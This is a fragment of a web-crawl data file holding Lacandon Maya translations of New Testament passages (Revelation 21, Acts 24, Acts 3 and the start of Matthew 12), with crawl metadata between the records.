Jeroj tune', caj in wu'yaj u t'ʌn C'uj, a curucbar tu cutano', a jach caremo'. Raji' caj u ya'araj:\n―Jeroj ―quij―, a teno' ―quij―, tin betic tu cotor ba' jach ric'ben. Rajen ts'ibtej a ba' quin wac tech Juan, quire' taj quin wac tech, rajen jach tsoy caj a wacsej ta wor ti' in t'ʌn.\n6 Pachir, quij Juan, a C'ujo' caj u wʌc'ʌs araj ten:\n―Jeroj, toc rʌc ts'oc in beyaj tu cotor. A teno', pʌyber cuxa'anen, bayiri' xan, a teno', mʌ' biq'uin quin quimin. Rajen a mac a ju c'at ca' in taquej soc u cuxtar munt q'uin, je' in ts'ic ti', quire' mʌna' u bo'orir quir in ts'ic ti'.\n7 Caj ya'araj ten:\n―Arej ti'ob, a mac a c'ucha'an yor ti' a ba' cu tumtic yor soc u manob tu tsoyir raji'ob cu bin acsa'bir ten C'uj, quire' ra' u pararob, soc u cuxtarob munt q'uin. Raji'ob cu bin yamta'bir ten C'uj xan, quire' ra' u C'uj.\n8 Chen a mac a tu ch'aj sajquir ti' u rac'ob, rajen mʌ' tu yacsajob tu yorob, quet yejer a mac jach taj mʌ' tu yacsajob tu yorob mʌ' u bin acsa'bir ich ca'anan chen ti' cu binob ich c'ac', a cu toquic azufre, mʌ' u xur u muc'yaj. Raji' u petja'ir c'ac'. Tiri' cu bin xan, a mac a p'acta'b ten u rac'ob quir u si'pirob, quet yejer a mac a cu c'ujinticob u tus c'uj, quet yejer tu cotor mac a cu tus, quet yejer a mac a rajra' cu manob, cax yejer xquic, cax yejer xib, quet yejer a mac a cu quinsicob mac, quet yejer mac a cunicob u rac'ob ―baxuc tu ya'araj C'uj ten, quij.\nU cajar Jerusalén a ric'beno'\n9 Jeroj tune', caj c'uchij tu yʌnen turiri' yʌjmasirob u t'ʌn C'uj. Raji' turiri' ich a sietejo' u yʌjmasirob u t'ʌn C'uj a tu joch'quintob u chan ruchob quir u yajtar mac ich yoc'ocab. Raji' tu t'ʌnen quire' a ba' tabar yesic ten. Raji' caj u ya'araj:\n―Cojen tera' Juan ―quij―. Quin bin in wesic tech an ten bic tu cotor a yacsmʌnob tu yorob. Robob cu bin c'ʌmbirob ten u tʌmʌn yuc C'uj irob a xquico' cu bin ch'a'bir ten u mam ―baxuc caj u ya'araj teno' u yʌjmasir u t'ʌn C'uj.\n10 Caj in wʌyʌc'taj ich ca'anan, raji' caj u pʌyen ich u jo'r wits. Jach carem a witso', bayiri' xan, jach ca'anan. Soc chʌca'an in wiric u cajar Jerusalén, u cajar C'uj tu cu bin u cʌjtar mac a taj yoro'. Ra' eman u ca' ti' ca'anan.\n11 A ray cajaro', eman u ca', caj rembanʌjij yejer u sasirir C'uj an ten bic u sasirir tunich, a jach manan co'ojo'. Raji' u tunicho', u c'aba' jasper, quire' sasc'ʌren ir a neno' sasc'ʌren.\n12 A ray cajaro', yʌn u pa'te' pʌc'a'an yejer tunich, jach pim xan u pa'te'ir pʌc'a'an yejer tunich, bayiri' jach ca'anan u pa'te'ir. Ra' tu bʌcrist u cajaro'. Yʌn doce u jor ich pa'te' quir u man mac. Tu yʌn jujuntur u jor ich pa'te', yʌn turiri' yʌjmasirob u t'ʌn C'uj tan u cʌnanticob a ti'obo'. Tar ich u jor pa'te', ti' toc ts'iba'an ich yoc'or u jor pa'te' u c'aba' a doce yo'nen u winiquirob israel.\n13 Caj in wiraj u cajar Jerusalén, a ric'beno', caj in wiraj u jor ich u pa'te', tres u jor tu cu tar ic yum. Bayiri' xan, tin wiraj u jor ich pa'te', tres u jor tu cu bin ic yum. Tin wiraj u jor ich pa'te', tres u jor tu xʌman ca'an, bayiri' xan, tin wiraj u jor ich pa'te', tres u jor ich nojar.\n14 Caj in wiraj xan ich yaran u pa'te'ir tunich, u tunichir quir u chichquinticob u yoc u pa'te'ir, quire' jach ar u pa'te'ir. Ti' ts'ʌpa'an doce u tunichir quir u chichquinticob u yoc u pa'te'ir. Ti' ts'iba'an ich yoc'or u jujuntur a doce tunichir u c'aba' mac tuchi'ta'b ten u tʌmʌn yac C'uj quir u tsec'ticob u t'ʌn uch.\n15 A mac a caj tsibanʌjij yejeren, raji' u mʌchmʌn u p'is quir u ch'ic u p'is u cajar Jerusalén. U p'is a ju mʌchmʌno' a beta'b u mascabir oro. Mʌ' chen cu bin u ch'ic p'is u cajar, cu bin u ch'ic u p'is u jor a ti' yʌnob ich u pa'te'ir. Bayiri' xan, cu bin u ch'ic u p'is u tunichiro', a cu chichquinticob u yoc u pa'te'ir.\n16 Ber caj beta'b u cajar Jerusalén, yʌn cuatro u tser, quij, raji' u cochir u cajar quet yejer u tan u cajar, bayiri' xan, quet u ca'anirir. Raji' tu toc ch'aj u p'is u cajar yejer u p'is a ju mʌmʌn ca'ch, jeroj, caj joc' dos mil doscientos kilómetros. Tʌcʌj rʌc quet u cochir u cajar yejer u tan u cajar yejer u ca'anrir u cajar.\n17 Bayiri' xan, yʌjmasir u t'ʌn C'uj, caj u ch' u p'is u pa'te' a caj u bʌcrist u cajar Jerusalén. Raji' caj u yiraj u p'is sesenta y cuatro metros. A ray u p'iso' irej an ten bic ts'ur cu ch'ic u p'is, cax wa yʌjmasir u t'ʌn C'uj, toc quet u p'is.\n18 Wa ber caj u ts'ʌpquintob u tunichir quir u pʌq'uicob u pa'te', ra' u tunichir jaspe, a jach co'ojo', caj u c'ʌnob. Caj u betob u yatochob ich u cajar Jerusalén, caj u c'ʌnob u mascabir oro jach sʌc jamen, irej u nen sasir.\n19 Wa ber caj u ts'ʌpquintob u tunichir quir u chichquinticob u yoc u pa'te', jach co'oj u tunichir caj u c'ʌnob xan. Caj u pʌc'ajob quire' jach tsoy yiric mac. Ya'ab u tunichir caj u c'ʌnob, tʌcʌj co'oj. Tu yʌn ts'ʌpquintob u tunichir, jaspe u c'aba'. Ich yoc'or jaspe tu ca' ts'ʌpquintob u tunichir zafiro. U jer tu ca' ts'ʌpquintob u tunichir, u c'aba' ágata. U jer tu ca' ts'ʌpquintob, tu ts'ʌpquintob u tunichir, esmeralda u c'aba'.\n20 U jer tu ca' ts'ʌpquintob, caj u ts'ʌpquintob u tunichir, ónice u c'aba'. U jer tu ca' ts'ʌpquintob caj u ts'ʌpquintob u tunichir, cornalina u c'aba'. U jer tu ca' ts'ʌpquintob caj u ts'ʌpquintob u tunichir, crisólito u c'aba'. U jer tu ca' ts'ʌpquintob caj u ts'ʌpquintob u tunichir, berilo u c'aba'. U jer tu ca' ts'ʌpquintob caj u ts'ʌpquintob u tunichir, topacio u c'aba'. U jer tu ca' ts'ʌpquintob caj u ts'ʌpquintob u tunichir, crisoprasa u c'aba'. Jeroj tune', u jer tu ca' ts'ʌpquintob caj u ts'ʌpquintob u tunichir, jacinto u c'aba'. U jer tu ca' ts'ʌpquintob caj u ts'ʌpquintob u tunichir, amatista u c'aba'.\n21 Caj u sinob u mac u jor ich pa'te', ra' toc beta'b ti' sʌc uj, u c'aba' perla. Yʌn doce u mac u jor toc beta'b ti' sʌc uj, a perlajo'. Ra' u mac u jor ich u pa'te' toc beta'b ti' turiri' sʌc uj. U berir tu cu manob mac ich u cajar Jerusalén u mascab toc beta' oro an ten bic u sasir nen.\n22 A teno', mʌ' jin wiraj tu cu naj c'ujinticob C'uj, quire' mʌna', quij, ich u cajar Jerusalén. Mʌ' ba'wir ti', quire' toc ti' yʌn C'uj, a mac jach manan chich u muc', bayiri' xan ti' yʌn Jesús u tʌmʌn yuc C'uj.\n23 A ray u cajaro', mʌ' ba'wir a ic yumo', quij, mʌ' ba'wir ic nʌ' xan, quir u sasichʌjʌrob u cajaro'. Mʌ' ja wirej, yʌn u toc sasirir C'uj ti', yejer Jesús u tʌmʌn yuc C'uj.\n24 Tu cotor u cajarob ich yoc'ocab a tu yacsob tu yorob cu bin u qui'tar u yorob quire' u sasirir tu cajar Jerusalén. Mʌ' ja wirej, je' u c'uchur u sasirir tu cʌja'anob ich yoc'ocab. Robob a mac a cu reyinticob ich yoc'ocab je' u binob purbir ich C'uj a ba' no'j, cu binob purbir quir u ric'sicob ti' C'uj soc u sʌjticob C'uj.\n25 U mac u jor u pa'te' mʌ' ju macʌr, rajra' q'ue'a'an, rajra' cu yocar mac soc rajra' cu joc'ar mac xan. Mʌ' ju bin u mʌquicob u jor ich u pa'te'. Mʌ' biq'uin cu yac'birchʌjʌr xan.\n26 Robob a cu bin c'uchur tu cajar Jerusalén cu binob tar purbir a ba' no'j ti' mac quir u ric'sicob ti' C'uj soc u sʌjticob C'uj.\n27 A ba' jach c'aso', quij, mʌ' ju bin acsa'bir tu cajar Jerusalén, mix a cu man tu c'asir, mix a mac a p'acta'b ten u rac'ob, quire' u si'pir, mix a cu manob tus. Chen a mac cu bin ocar, a mac a tu yiraj C'uj toc ts'iba'an u c'aba' tu ju'unin quir u cuxtar munt q'uin, a ra' yʌnin u tʌmʌn yuc C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV21.html","date":"2022-07-05T20:57:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00156.warc.gz","language":"lac","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0}","num_words":1665,"character_repetition_ratio":0.1,"word_repetition_ratio":0.017,"special_characters_ratio":0.298,"stopwords_ratio":0.483,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24\nToc u jo'r Pablo ten u winiquirob judío ʌctan Félix\n1 Caj ts'oc u man cinco u q'uinin, caj c'uchij Ananías u jach ts'urir tu cotor sacerdote u winiquirob judío, yet binacob jun yarob u jach ts'urirob u winiquirob judío, a nuxibo', yet binac xan, turiri' xib yʌjtaquir u jo'r mac, u c'aba' Tértulo. Mʌ' ja wirej, rʌc c'uchob ʌcʌtan u gobernador Félix quir u to'car u jo'r Pablo.\n2 Barej, caj pa'y Pablo ʌcʌtan gobernador a Tértulo caj u yʌnxchun u ta'quic u jo'r Pablo caj u ya'araj:\n―Jach qui' in wor tech in gobernadorech. Mʌ' ja wirej, mʌna' mac cu tar u quinsiquenob mʌna' mac cu chuquiquenob xan. Jach manan u tsoyir bic in cuxtarob tu ru'umin Fenicia quire' quin qui' ts'urintiquech. A techo' a ne'er quire' a ts'urech tu cotor mac.\n3 Quin jach aric tech: \"Bayo', in gobernadorech Félix.\" Tu cotor mac a cu jach ts'urintiquech cu jach sʌjtic tech quire' rajra' ca betic tsoy tenob.\n4 Quire' mʌ' in c'at in na'sic a wor tech, quin chich c'atic tech ca' a jamach pajen, soc ca' a wu'yej a ba' quin wac tech.\n5 Mʌ' ja wirej, a je' xiba', a ca wirique', a tenob caj in wirajob tan u betic c'as tenob, ja' ix tʌcoj je' u betic c'as ti' ic ru'umex xan. Raji' caj u p'usaj yor tu cotor u winiquirob judío cax tu cu bin ich yoc'ocab. A je' xiba', tan u jach ts'urinta'r tu cotor mac a cu camsa' a ba' cu yac a mac cʌja'an tu cajar Nazaret uch.\n6 Biquinin a je' xiba' ―quij Tértulo―, caj u jach tumtaj u yacsic a mʌ' u winiquirob judío ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío, aro' jach c'as, rajen chuc ten u winiquirob judío. Caj binenob in wirob wa cu joc'ar u jach tajir an ten bic cu ya'aric in nunquirob Moisés uch.\n7 Chen tiri' c'uchij Lisias u jach ts'urir tu cotor u soldados romano, caj c'uchij yejer u soldados caj u tacob Pablo tenob yejer u jach chichir u muc'.\n8 Ya'araj tenob Lisias: \"Ca' xiquechex ich gobernador Félix quir a taquiquex u jo'r Pablo.\" Biquinin mʌ' a wʌc'ʌs bʌjiri' c'atic ti' Pablo? Je' a wirique' tu cotor a tan in taquicob u jo'r, jach tu taje'.\n9 U yet tarob Tértulo, u winiquirob judío, a ti' yʌnob ʌcʌtan gobernador, caj u rʌc arajob taj a ba' cu ya'aric Tértulo.\n10 A gobernadoro', caj u ric'saj u c'ʌb soc yer Pablo tsoy u tsicbar. Pablo caj u nuncaj, caj u ya'araj:\n―Jach qui' in wor in nunquic a ba' cu pʌq'uicob in pach soc a wu'yic. Mʌ' ja wirej, in wer ya'ab yaxq'uin ca wa'aric a ba' cu joc'ar u tajir ti' u cajarob in wet winiquirob judío.\n11 Joq'uen, cʌxtej a wirej wa jach taj a ba' cu yacobe'. Yʌn doce u q'uinin caj uren ich u cajar Jerusalén quir in c'ujintic C'uj.\n12 Barej caj u yirenob a tenobo', mʌ' jin c'amquintic in t'ʌn ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío mʌ' ju yirenob in joc'sic yor ya'ab mac, cax ich carem naj, cax chan naj tu cu naj c'ujinticob C'uj in wet winiquirob judío baxuc ich u cajar Jerusalén xan.\n13 A je' u winiquirob judíojo' mʌ' c'ucha'an yorob yesicob wa taj a cu taquicob in jo'r baje'rer, quire' mʌna' in si'pir.\n14 Chen yʌn ba' jach taj quin wac tech. A C'ujo', a caj u c'ujintajob in nunquirob Moisés uch, ra'iri' quin c'ujinticob xan. Barej robob cu ya'aricob u jer bej. Cu ya'aricob mʌ' taj a ba' quin cʌnique'. Chen a teno', quin quibic tu cotor a ba' ts'ibta'b ten in nunquirob, yejer a ba' caj u ts'ibtajob uch tu cotor mac a ts'a'b u tucurob ten C'uj quir u ts'ibticob a ba' u c'at C'uj.\n15 Baxuc a ba' cu pajicob in wet winiquirob judío, a baywo' a teno' quin pajic. Chen a teno', quin pajic u q'uinin ca' bin ric'sac mac tu quimirir ten C'uj, cax a mac a tsoyo', je' u riq'uire', cax a mac a mʌ' tsoyo', je' u riq'uir xane'.\n16 Rajen a ten xano', jach manan quin p'isic in bʌj soc rajra' jach manan tsoy in tucur ʌcʌtan ti' C'uj, bayiri' xan, ʌcʌtan ti' mac tu cotor.\n17 Barej caj ts'oc in man ya'ab yaxq'uin ich u jer ru'um, caj uren yejer in taq'uin soc ca' in jʌsej ich jun yarob in wet winiquirob judío a mac jach otsirchʌjij, bayiri' xan, quir in sijic ba' ti' C'uj.\n18 Quire' tan in betic aro', robob caj u yirenob ich carem naj a rey u q'uinino', caj ts'oc in p'o'ic in bʌj an ten bic cu naj beticob u winiquirob judío ich carem naj tu quin c'ujinticob C'uj yejer in wet winiquirob judío. Tiri' quin p'ʌtic in taq'uin u tiri' in wet winiquirob judío a mac jach otsichʌjij. Quin t'ʌnic C'uj, mʌna' mac ti' yʌn yejeren. Mʌ' jin p'usaj yorob maqui'. Chen ti' yʌnob u winiquirob judío, a ray u q'uino' u winiquirob judío caj u yirajenob.\n19 A ray u winiquirob judío, a cu tarob tu ru'umin Asia, ar u tarob u tac in jo'r, wa mʌ' tsoy caj in betaj.\n20 Cax a je' xiba', a ti' ch'ica'anob tu yʌno'onex baje'rer, arej ti'ob ca' ya'arob tech ba' in si'pir caj u yirob, barej u q'uinin caj binen ʌcʌtan tu cotor u ts'urirob tu cotor u winiquirob judío ich u cajar Jerusalén uch.\n21 Jari' cu chen aricob c'as caj in wa'araj u q'uinin ti' yʌnen tu much'a'anob tu cotor u jach ts'urirob u winiquirob judío. Mʌ' ja wirej, c'am caj in wa'araj: \"Jari' quin pajic wa bin u ca' riq'uir tu cotor mac tu quimirir. Je' u rʌc cuxtar tu ca'ten, rajen caj u tacob in jo'r.\" Baxuc caj in wa'araj ti'ob.\n22 Félix tune', caj ts'oc yubic a ba' ara'b ti'e'. U toc er a ba' camsa'b ten a mac a cu sayʌrob tu pach Jesús.\nCaj u ya'araj:\n―Jot ―quij―, ts'oquij baje'rer.\nCaj u p'isaj u jer u q'uinin quir u ca' u'wic, rajen caj u ya'araj:\n―Barej, ca' bin c'uchuc Lisias u jach ts'urir tu cotor u soldados, je' in wac techex soc u joc'ar u jach tajir.\n23 Jeroj, caj u tuchi'taj u yʌjt'ʌnir cien soldados ca' cʌnanta'c Pablo tu cu naj cʌnantic mac. Caj u ya'araj ca' jamach cha' u man. Cax tsoy u tarob a mac tsoy yiric Pablo quir u ch'enapticob, cax tacob purbir ba' ti' Pablo, a ba' u c'at.\n24 Mʌ' manʌc ya'ab u q'uinin caj ca' t'an Pablo ten Félix. Caj u pʌyaj u rac' Félix ca' tsicbanʌc Drusila yejer Pablo. U rac' Félix u winiquir judío. Caj u pʌyaj Félix soc yuba' u tsicbar bic tabar cu yacsic tu yor u t'ʌn Jesucristo.\n25 Chen barej, caj pacran tsicbanʌjob ti', a ba' u c'at ya'aric ca' u betej a tsoyo', bayiri' xan, ca' u ma'quintej u betej a c'aso' a cu pachtic mac tu yor. Caj pacraj tsicbanʌjob ti' u q'uinin wa ber C'uj cu yocar juez soc yiric tu cotor tsoy u beyaj mac, wa c'as u beyaj mac.\nRajen caj u ch'aj ch'ic yum sajaquir Félix, quire' yʌn u si'pir, caj u ya'araj:\n―Joq'uen, xen ca' bin tac u q'uinin je' in ca' pʌyiquech soc in wu'yic ba' ca wac ―quij.\n26 Bayiri' xan, Félix cu pajic ca' ts'abac u taq'uin ti' ten Pablo soc u cha'bar. Rajen ya'ab u tenin caj u t'ʌnaj ca' tac yicnʌn quir u tsicbar.\n27 Baxuc caj manij ca'tur u yaxq'uinin caj oquij u jer quir u ts'urintic u ru'umin Fenicia. A mac oquij u c'aba' Porcio Festo u ts'urir. Joq'uij Félix. A Festojo', mʌ' u cha'bʌr Pablo soc u qui'quinta'r yor u winiquirob judío. P'at tu cu ma'cʌr mac.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC24.html","date":"2022-06-29T07:47:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00763.warc.gz","language":"lac","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999979734420776}","num_words":1270,"character_repetition_ratio":0.087,"word_repetition_ratio":0.003,"special_characters_ratio":0.279,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nJawsa'b a mech yoque'\n1 Tan u bin q'uin, ra' u q'uinin cu naj t'ʌnicob C'uj u winiquirob judío tu cu naj c'ujinticob C'uj u winiquirob judío ich a carem najo'. Ti' cu binob xan Pedro yejer Juan, quir u t'ʌnicob C'uj. Ra' u c'at ya'aric las tres cu binob.\n2 Caj c'uchob tu yʌn ich u jor carem naj tu cu naj c'ujinticob C'uj u winiquirob judío, ra' u c'aba' u jor naj, A Jach Tsoyo'. Ti' yʌn ich a ray u jor najo' a mac mech u yoque'. Toc beri' caj rocha'b ten u nʌ' uch. Rajra' cu tarob saman cu tar purbir ten u rac'ob, quir u c'atic u taq'uin ti' a mac a cu yocar ich a carem najo'. Tan tu c'uchur a mech yoque' caj tarob Pedro yejer Juan.\n3 Jeroj caj c'ata'b u taq'uinob ten a mac mech u yoque' ti' Pedro yejer Juan. Cu yocarob Pedro yejer Juan, caj c'ata'b u taq'uinob ti'ob.\n4 Caj xurob Pedro yejer Juan, caj qui' pʌcta'b u wich, a mech u yoque', ten Pedro yejer Juan, chen Pedro caj u ya'araj:\n―Pʌctenob ―quij Pedro.\n5 Pʌcta'b Pedro ten a mac mech u yoque'. Mʌ' ja wirej, cu tucrique', je' u ts'abʌr u taq'uine'.\n6 Chen Pedro caj u ya'araj ti':\n―Cax mʌna' in taq'uino', a teno' je' in yamtiqueche' yejer u muc' Jesucristo a caj u ts'aj tene'. A cu tar tu cajar Nazaret uche'.\nPedro caj u t'ʌnaj caj u ya'araj ti':\n―Riq'uen, ch'icren ―quij Pedro.\n7 Jeroj, caj mach u c'ʌb ten Pedro caj u ric'saj, caj ch'icrʌj, quire' seb caj chichnʌjij u jo'r u baquer, rʌc yejer u yoc, jeroj caj ch'icrʌj.\n8 Jeroj, a mac mech u yoque', caj sit'nʌjij quir u ch'ictar, caj ximbanʌjij. Jach qui' yor cu man cu qui' t'ʌntic C'uj, cu ya'aric: \"Bayo' C'uj.\" Cu sit' xan, jeroj quet yejer Pedro yejer Juan caj oquij ich carem naj.\n9 Tu cotor mac cu yiricob u man u ximbar cu qui' t'ʌntic C'uj.\n10 A mac a caj u yirajob tu c'ʌ'otajob ti' a cu naj cutar ich u jor carem naj. Ti' cu naj c'atic u taq'uin ich u jor naj a ju c'aba' A Jach Tsoyo'. Rʌc jaq'uij yorob caj u yirajob jach seb caj rʌc jaw a mech yoque'.\nPedro cu tsec'tic u t'ʌn C'uj tu cu naj c'ujinticob C'uj u winiquirob judío\n11 Ti' yʌn Pedro yejer Juan tu re'a'an u jor naj a pach u c'aba' U Jor Naj a Salomóno'. A mac mech u yoc uche', caj u mʌchaj u c'ʌb Pedro yejer Juan. Mʌ' u c'at u cha'bʌr. A mac a caj u yirajobi' caj u c'ʌnajob yacab quir u much'quinticob u bʌj ich Pedro yejer Juan. Jach jac'a'an u yorob.\n12 Pedro caj u yiraj cu much'quinticob u bʌj tu yʌnob, jeroj tune', Pedro caj u t'ʌnaj ti'ob, tan ya'aric:\n―U'yex u xibirechex Israel, biquinin ca pʌctiquenex a tenobo'? Biquinin cu jac'ʌr a worex an ten bic a tenob caj in jawsajob a mech yoque' yejer in muc'ob? Quire' chen C'uj caj u jawsaj ti'. A techexo', ca tucriquex a tenob caj in jawsajobi', quire' taj quin c'ujinticob C'uj.\n13 Mʌ' ja wirej, ij c'ujirex, baxuc u c'ujir ic nunquirex Abraham, baxuc u c'ujir ic nunquirex Isaac, baxuc u c'ujir ic nunquirex Jacob, raji' caj u yesaj to'onex bic jach carem u parar C'uj, a Jesúso', quire' ricsa'b Jesús ten C'uj ich u quimirir. Raji' caj pay ca'anan ten C'uj quir u sʌjta' ten tu cotor mac. A techexo' ―quij Pedro―, caj a c'ubajex quinsbir Jesús ten Pilato, cax u c'at u cha'bʌr ten Pilato uch. Chen a techexo' ―quij Pedro―, mʌ' a c'atex u cha'bʌr. A techex, a c'atex a wiriquex u quimin.\n14 Jesús ―quij Pedro―, jach taj yor, raji' caj u betaj a ba' tsoy tu t'ʌn C'uj. Chen a techexo', mʌ' ja c'atex u cha'bʌri'. Ra' caj a c'atajex u cha'bʌr yʌjquinsir mac.\n15 A techexo' ―quij Pedro―, caj a wa'arajex u quinsa' a mac a cu ts'ic ij cuxtarex munt q'uin. Chen a C'ujo' caj u ricsaji' ich u quimirir. A tenob in werob taj quire' caj in wirajob cuxa'an a Jesúso'.\n16 A techexo', caj a c'ʌ'otajex ―quij Pedro―, a rʌc jaw a mech u yoque', quire' caj in wacsajob tin worob u c'aba' Jesús. Mʌ' ja wirej, quire' caj in wacsajob tin worob u t'ʌn Jesús rajen jaw a je' maca' a mech u yoc uche'. Ʌcʌtan ta cotorechex caj a wirajex ts'oc u jawʌr a mech u yoque'.\n17 Pedro caj u ya'araj ti'ob tan ya'aric:\n―U'yex in wet winiquirob judío. Techex mʌ' ja werex a ba' caj a betajex caj a wa'arajex u quinsa' Jesús. Mʌ' yerob xan ic jach ts'urirex a ba' caj u betajob ti' Jesús. A teno' in wer mʌ' ja najtexi'.\n18 Mʌ' ja wirej, a C'ujo' caj u ts'aj u tucur ti' mac ca' u tsicbʌtob a ba' u c'at C'uj rajen robob caj u tsec'tajob wa yʌn u muc'yaj Cristo, yʌn u quinsa' xan. Toc nup'sa'b a ba' ara'b ten C'uj baje'rer.\n19 Rajen ca' a c'axex a worex. Ca' a p'ʌtex a c'asirex. Ca' a t'ʌnex C'uj quir u jawsic a si'pirex soc qui' a worex ti' C'uj.\n20 Soc jaj ix tʌcoj wa C'uj, je' u ca' tuchi'tic Jesús quir u ca' tar tera'. Mʌ' ja wirej, uch teta'b Cristo ten C'uj quir u taquic tu cotor mac.\n21 Chen Jesús ti' cu yʌn p'atʌr ich ca'anan baje'rer hasta ca' bin c'uchuc tu q'uinin quir u tar. Yʌn u ts'ocar u tajquintic tera' ich yoc'ocab, a ba' toc ara'b ten C'uj, ti' a mac a ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj.\n22 Mʌ' ja wirej ―quij Pedro―, ic nunquirex Moisés caj u ya'araj: \"A Jaj Ts'uro', a C'ujir techex, je' u tetic ca' tac ich a wet winiquirob judíojo' turiri' mac, a je' u ts'abʌr u tucur ten C'uj, quir u tsicbar a ba' u c'at C'uj an ten bic C'uj caj u tetaj a teno'. Ca' u'yex a ba' cu bin u tsec'tic techex.\n23 Chen tu cotor mac a mʌ' u yubicob u t'ʌn a cu bin u tsec'tico', je' u joc'sa' ten C'uj ich u yet winiquirob judío quir u bin erar.\" A baxuco' caj u ya'araj Moisés uch ―quij Pedro.\n24 Ra'iri' xan, caj u tsec'tajob uch tu cotor mac a ts'a'b u tucur ten C'uj a ba' ca wiriquex baje'rer. A Samuelo', a mac ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj, raji' caj u tsec'taj a ba' ca wiriquex baje'rer, bayiri' xan, a ju jerob, a mac a ts'a'b u tucur ten C'uj a caj tarob tu pach Samuelo' caj u tsec'tajob a ba' ca wiriquex baje'rer xan.\n25 A techexo' ―quij Pedro―, u pararechex a mac a ts'a'b u tucurob ten C'uj uch, quir u tsicbarob a ba' u c'at C'uj, quire' robob a nunquirex a mac a ts'a'b u tucurob ten C'uj quir u tsicbarob a ba' u c'at C'uj. Mʌ' ja wirej, a techexo' bin a c'ʌmex a quet yor t'ʌno', a caj u betaj C'uj yejer a nunquirex a ba' tu toc araj ti'ob uch. Quire' baxuc caj ya'araj C'uj ti' ic nunquirex C'uj uch. U'yex ba' caj u ya'araj C'uj ti' ic nunquirex Abraham uch: \"Barer ca' bin pimac u parar a parar, quij ya'aric C'uj, je' u tar turiri' mac ich u parar a ca' parar quir u yamtic tu cotor mac a ti' yʌn ich yoc'ocab.\"\n26 Rajen, a C'ujo' caj u tetaj u parar C'uj ca' u tuchi'tej ich yoc'ocab tu yʌnechex u winiquirob judío. Pʌyber caj u tuchi'taj ich techex soc a c'axiquex a worex soc a p'ʌtiquex a si'pirex ―baxuco' caj u tsec'taj Pedro ti' u yet winiquirob judío.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC3.html","date":"2022-06-26T16:49:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00770.warc.gz","language":"lac","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000005841255188}","num_words":1276,"character_repetition_ratio":0.08,"word_repetition_ratio":0.009,"special_characters_ratio":0.297,"stopwords_ratio":0.48,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nU camsʌwinicob Jesús caj u ji'chtajob u wich trigo\n(Mr. 2.23‑28; Lc. 6.1‑5)\n1 Caj u ch'ʌctob u cor mac Jesús. A ju camsʌwinicob caj tarob tu pach Jesús. Caj u ji'chtajob u wich trigo u jantejob quire' wichʌjob. Ra' u q'uinin cu jesicob u bʌj u winiquirob judío.\n2 U winiquirob judío a farisejobo', irob u ji'chticob u wich trigo. Caj ara'b ti' Jesús ten u winiquirob judío a farisejobo':\n―Iric, biquinin cu ji'chticob u wich trigo a camsʌwinicob quire' u q'uinin ic jesicob ic bʌj. Baxuc ts'iba'an ich u t'ʌn Moisés uch. Mʌ' tsoy u beyaj tu q'uinin tu cu jesic u bʌj u winiquirob judío.\n3 Jesús caj ya'araj ti' u winiquirob judío a farisejobo':\n―Mʌ' wa ja xacajex tu ts'iba'an u t'ʌn C'uj ti' David uch? Caj wichʌjob David yejer u rac'ob uch.\n4 Caj oquij David yejer u rac'ob ich yatoch tu t'ina'an yot'er chivo tu cu naj c'ujinticob C'uj u winiquirob judío. Caj ts'a'b yo'och pan ten sacerdote ca' u jantajob David yejer u rac'ob quire' wichʌjob, cax mʌ' tsoy u janticob caj ts'ab ti' David ten sacerdote. Mʌ' ja wirej, ra' quir u ts'abʌr ti' C'uj. Cu chen janticob u winiquirob judío a sacerdotejo'.\n5 Jesús caj ya'araj ti' u winiquirob judío a farisejobo':\n―Baxuc xan, mʌ' a xacmʌnex ich u t'ʌn Moisés a cu ya'aric u beyajob sacerdote cax u q'uinin tu cu yʌn jesicob u bʌj. Raji'ob cu beyajob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío aro' mʌ' c'asi'. Mʌ' ju tar u si'pirob.\n6 Quin wa'aric techex ―quij Jesús―, ti' u winiquirob judío a farisejobo'. Quire' ts'a'b u muc' ten C'uj ti' sacerdote soc u beyajob ich carem naj tu cu naj c'ujinticob C'uj. Cax cu beyajob a sacerdotejo' tu q'uinin tu cu jesicob u bʌj, chen tsoyo' ―quij Jesús―. Chen a teno' jach manan u ts'abʌr in muc' ten C'uj. A ray u muc'o' ts'a'b ti' sacerdote mʌ' u c'uchur u muc' teni'.\n7 A techexo', ―quij Jesús― mʌ' a wu'yex a ba' cu ya'aric a je' ts'iba'an ich u t'ʌn C'uj? U'yex ―quij Jesús―: \"In c'at ―quij C'uj―, ca' a yajquintej a rac'ob ca' a yamtej ti'ob. Mʌ' a chen quinsiquex a wʌrʌc' quir a sijic ten quir in jawsic a si'pirex. Jach manan tsoyir ca' a yajquintej a rac'ob.\" Baxuc cu ya'aric tu ts'iba'an u t'ʌn C'uj. Wa ja najtajex aro', mʌ' a pʌq'uiquex u pachob in wʌjcamsayʌjirob, quire' mʌ' c'as caj u betob.\n8 Caj ya'araj Jesús ti' u winiquirob 